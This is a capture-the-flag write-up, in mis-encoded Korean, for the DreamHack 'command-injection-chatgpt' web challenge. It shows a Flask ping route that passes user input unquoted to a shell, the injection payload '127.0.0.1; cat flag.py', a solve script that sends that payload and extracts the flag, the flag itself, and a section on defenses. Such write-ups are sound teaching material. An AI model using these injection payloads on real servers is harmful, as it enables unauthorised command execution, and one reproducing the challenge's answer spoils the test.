λ¬Έμ : DreamHack β command-injection-chatgpt λΆλ₯: Web (OS Command Injection) λμ΄λ: π₯ Bronze 4 FLAG:
DH{chatGPT_knows_what_the_ping_is}
μ΄λ¦λΆν°κ° ννΈλ€. "chatgpt"κ° μ§μ€ κ² κ°μ ping ν
μ€ν°μΈλ°, μ€μ λ‘ μ΄μ΄λ³΄λ©΄ μμ νΌ command-injection-1보λ€λ νν°κ° νλ μ λ€. κ·Έμͺ½μ κ·Έλλ§ ν°λ°μ΄νλ‘ μ
λ ₯κ°μ κ°μΈκΈ°λΌλ νλλ°, μ΄ λ¬Έμ λ κ·Έλ§μ λ μλ€. μ
λ ₯μ κ·Έλλ‘ μ
Έ λͺ
λ Ή ν볡νμ νλ €λ³΄λΈλ€.

λ¬Έμ κ°μ
| νλͺ© | λ΄μ© |
|---|---|
| λ¬Έμ λͺ | command-injection-chatgpt |
| λμ΄λ | π₯ Bronze 4 |
| λΆλ₯ | Web (OS Command Injection) |
| μ 곡 | Flask μμ€(app.py, ν
νλ¦Ώ) + λΌμ΄λΈ μλ² |
| ν΅μ¬ μ·¨μ½μ | μ¬μ©μ μ λ ₯μ μ무 μ΄μ€μΌμ΄ν μμ΄ μ Έ λͺ λ Ή λ¬Έμμ΄μ μ§μ μ½μ |
μμΆμ νλ©΄ Flask μ± νλ. /λ μλ΄ λ¬Έκ΅¬λΏμ΄κ³ /pingμ΄ μ μΌν κΈ°λ₯μ΄λ€.
λΆμ
μλ² μ½λ
app.pyλ₯Ό μ΄λ©΄ /ping λΌμ°νΈκ° μ λΆλ€.
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 {host}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')cmd = f'ping -c 3 {host}' β hostμ λ°μ΄νκ° νλλ μ λΆλλ€. command-injection-1μ΄μλ€λ©΄ f'ping -c 3 "{host}"'μ²λΌ ν°λ°μ΄νλ‘ κ°μΈμ μ΅μν λ«λ νλ΄λΌλ λμ ν
λ°, μ¬κΈ°λ λ³μλ₯Ό κ·Έλ₯ λ¬Έμμ΄ κ°μ΄λ° κ½μ λ£λλ€. κ·Έ λ¬Έμμ΄μ ['/bin/sh', '-c', cmd]λ‘ μ
Έμ λμ§λ, hostμ ;λ && κ°μ μ
Έ λ©νλ¬Έμλ₯Ό λ£μΌλ©΄ κ·Έλλ‘ μ λͺ
λ ΉμΌλ‘ ν΄μλλ€.
νλκ·Έ μμΉλ λͺ
ννλ€. app.py 맨 μμμ from flag import FLAGλ₯Ό νκ³ μμΌλ, μ€ν λλ ν 리μ μλ flag.pyλ₯Ό μ½μΌλ©΄ λμ΄λ€. FLAG λ³μ μ체λ μ½λ μ΄λμμλ μλ΅μ μ§μ μ°μ΄μ§ μλλ€ β μ¦ μ΄ λ¬Έμ λ μ ν리μΌμ΄μ
λ‘μ§μΌλ‘ νλκ·Έλ₯Ό λ
ΈμΆνλ κ² μλλΌ, μμ ν μ
Έμμ νμΌμ μ½μ΄λ΄λ λ¬Έμ λ€.
ping νΌ νμΈ
/pingμ λ€μ΄κ°λ©΄ μ
λ ₯μΉΈ νλμ λ²νΌ νλλΏμΈ μ¬νν νΌμ΄λ€.
<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required>command-injection-1μ μλ pattern="[A-Za-z0-9.]{5,20}" κ°μ ν΄λΌμ΄μΈνΈ κ²μ¦ μμ±λ μλ€. required λΏμ΄λ€.

8.8.8.8μ λ£κ³ μ μμ μΌλ‘ λλ €λ³Έλ€.

μλ²κ° μ€μ λ‘ ping -c 3 8.8.8.8μ λλ € κ·Έ κ²°κ³Όλ₯Ό <pre>μ κ·Έλλ‘ μΉμ΄μ€λ€.

μ λ ₯κ°μ΄ μ§μ§ μ Έ λͺ λ Ήμ μΌλΆλ‘ λ€μ΄κ°λ€λ κ² μ΄ νλ©΄μΌλ‘ νμΈλλ€.
νμ΄λ‘λ μ€κ³
λͺ λ Ή λ¬Έμμ΄μ΄ λ§λ€μ΄μ§λ λͺ¨μμ μ΄λ λ€.
cmd = f'ping -c 3 {host}'
ββββββββββββββ
κ³ μ λΆλΆ host (κ°μΈλ λ¬Έμ μμ)command-injection-1μ΄μλ€λ©΄ μλ€ ν°λ°μ΄νλ₯Ό λ«λ μ μ°¨κ° νμνμ§λ§, μ¬κΈ°λ μ μ΄μ κ°μΈλ κ² μμΌλ κ·Έ κ³Όμ μμ²΄κ° μλ΅λλ€. ;λ‘ λͺ
λ Ήλ§ μ΄μ΄ λΆμ΄λ©΄ λλ€.
host = 127.0.0.1; cat flag.pyμ Έμ΄ λ°λ λ¬Έμμ΄μ:
ping -c 3 127.0.0.1; cat flag.py; λ€λ μ λͺ
λ Ή κ²°κ³Όμ 무κ΄νκ² μ€νλλ μμ ν μλ‘μ΄ λͺ
λ Ήμ΄λ€. pingμ΄ μ μ μ’
λ£νλ λ§λ cat flag.pyκ° λ§μ§λ§μ μ±κ³΅(μ’
λ£μ½λ 0)νλ©΄ subprocess.check_outputμ μμΈ μμ΄ νμ€μΆλ ₯ μ 체 β ping κ²°κ³Ό + catμ΄ λ±μ flag.py μλ¬Έ β μ κ·Έλλ‘ λλ €μ€λ€.
command-injection-1κ³Ό λΉκ΅νλ©΄ μ°νν νν°κ° νλλ μλ€λ μ μμ μ€νλ € λ κΈ°λ³Ένμ΄λ€. λ°μ΄ν μ§μ λ§μΆ νμλ, μ£Όμ μ²λ¦¬λ‘ λ€λ₯Ό μλΌλΌ νμλ μλ€.
μ΅μ€νλ‘μ
λΈλΌμ°μ μμ κ·Έλλ‘ μ¬νν΄λ³Έλ€. μ λ ₯μΉΈμ νμ΄λ‘λλ₯Ό λ£κ³ ,

Ping!μ λλ₯΄λ©΄ ping κ²°κ³Ό μλμ flag.pyμ λ΄μ©μ΄ κ·Έλλ‘ λΆμ΄ λμ¨λ€.

FLAG = 'DH{chatGPT_knows_what_the_ping_is}' β catμ΄ νμ΄μ¬ μμ€ νμΌμ κ·Έλλ‘ μΆλ ₯ν κ²μ΄λΌ λ³μ μ μΈ λ¬Έλ²κΉμ§ ν΅μ§Έλ‘ λΈλ € λμ¨λ€.
κ°μ νλ¦μ μ€ν¬λ¦½νΈλ‘ μ 리νλ€.
# solve.py
import re, sys, html, urllib.request, urllib.parse
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10383"
def ping(host: str) -> str:
data = urllib.parse.urlencode({"host": host}).encode()
req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
m = re.search(r"<pre>(.*?)</pre>", body, re.S)
return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
# 1) μ μ λμ νμΈ
print("[*] μ μ ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
# 2) μΈμ μ
β λ°μ΄ν μμ΄ κ·Έλλ‘ μ
Έμ κ½νλ―λ‘ μΈλ―Έμ½λ‘ λ§ λΆμ΄λ©΄ λλ€
payload = "127.0.0.1; cat flag.py"
print(f"[*] νμ΄λ‘λ: host={payload!r}")
out = ping(payload)
print("[*] μλ΅ <pre>:")
print(out)
# 3) νλκ·Έ μΆμΆ
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
print()
print("[+] FLAG:", flag.group(0))μ μ ping κ²°κ³Όκ° λ¨Όμ μ°νκ³ , μ΄μ΄μ μΈμ μ νμ΄λ‘λλ₯Ό λ³΄λΈ μλ΅μ νλκ·Έκ° λΈλ €μ¨λ€.

DH{chatGPT_knows_what_the_ping_is}λ°©μ΄ β μ΄λ»κ² λ§λ
μμΈμ νλλ€. μ¬μ©μ μ
λ ₯μ μ
Έ λͺ
λ Ή λ¬Έμμ΄ μ‘°λ¦½μ κ·Έλλ‘ μΌλ€. λ°μ΄νλ‘ κ°μΈλ μ λλ‘λ λ§μ μ μλ€λ κ² μ΄ λ¬Έμ μ command-injection-1μ λλν λκ³ λ³΄λ©΄ λ λΆλͺ
ν΄μ§λ€ β κ°μΈλ μ κ°μΈλ μ
Έ λ©νλ¬Έμλ₯Ό ν΅μ νμ§ λͺ»νλ©΄ κ²°κ΅ λ«λ¦°λ€.
1. μ
Έμ μμ κ±°μΉμ§ μλλ€. pingμ²λΌ μ€νν νλ‘κ·Έλ¨μ΄ κ³ μ λΌ μλ€λ©΄ μΈμλ₯Ό 리μ€νΈλ‘ μ§μ λκΈ΄λ€.
# λμ¨: f-stringμΌλ‘ 쑰립ν λ¬Έμμ΄μ μ
Έμ΄ λ€μ νμ±
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 {host}'])
# μ’μ: hostλ pingμ μΈμ νλμΌ λΏ, μ
Έμ΄ λΌμ΄λ€ μλ¦¬κ° μλ€
subprocess.check_output(['ping', '-c', '3', host])μ΄λ κ² νλ©΄ hostκ° 127.0.0.1; cat flag.pyμ¬λ pingμ κ·Έκ±Έ "μ΄μν νΈμ€νΈλͺ
"μΌλ‘ λ°μ μ΄λ¦ μ‘°ν μ€ν¨λ‘ λλ λΏ, ; λ€κ° λ³λ λͺ
λ ΉμΌλ‘ μ€νλμ§ μλλ€.
2. μλ² μΈ‘ μ
λ ₯ κ²μ¦μ λλ€. IP/νΈμ€νΈλͺ
λ§ λ°μ λͺ©μ μ΄λ©΄ ipaddress λͺ¨λμ΄λ μ κ·μμΌλ‘ μλ²μμ ν λ² λ κ±Έλ¬μΌ νλ€. ν΄λΌμ΄μΈνΈμλ§ μμ‘΄ν κ²μ¦(HTML pattern λ±)μ μ μ΄μ 보μ κ²½κ³κ° μλλ€.
3. μ λ§ μ
Έμ΄ νμνλ©΄ shlex.quote()λ‘ μΈμλ₯Ό μ΄μ€μΌμ΄ννλ€. λ€λ§ 1λ²μ²λΌ 리μ€νΈ μΈμλ‘ λκΈΈ μ μμΌλ©΄ κ·Έμͺ½μ΄ νμ λ μμ νλ€.
μ΄λ¦μ μ₯λμ€λ½μ§λ§, "μ¬μ©μ μ λ ₯ + f-string + μ Έ μ€ν"μ΄λΌλ μ‘°ν©μ΄ κ°μΈλ λ¬Έμ νλ μμ΄λ κ³§λ°λ‘ μμ λͺ λ Ή μ€νμΌλ‘ μ΄μ΄μ§λ€λ κ±Έ κ°μ₯ μμΆλ ννλ‘ λ³΄μ¬μ£Όλ λ¬Έμ μλ€.
Comments
λκΈ
λκΈμ λ¨κΈ°λ €λ©΄ λ‘κ·ΈμΈμ΄ νμν΄μ. (λ€μ΄λ² Β· κ΅¬κΈ κ³μ )
λκΈ λΆλ¬μ€λ μ€β¦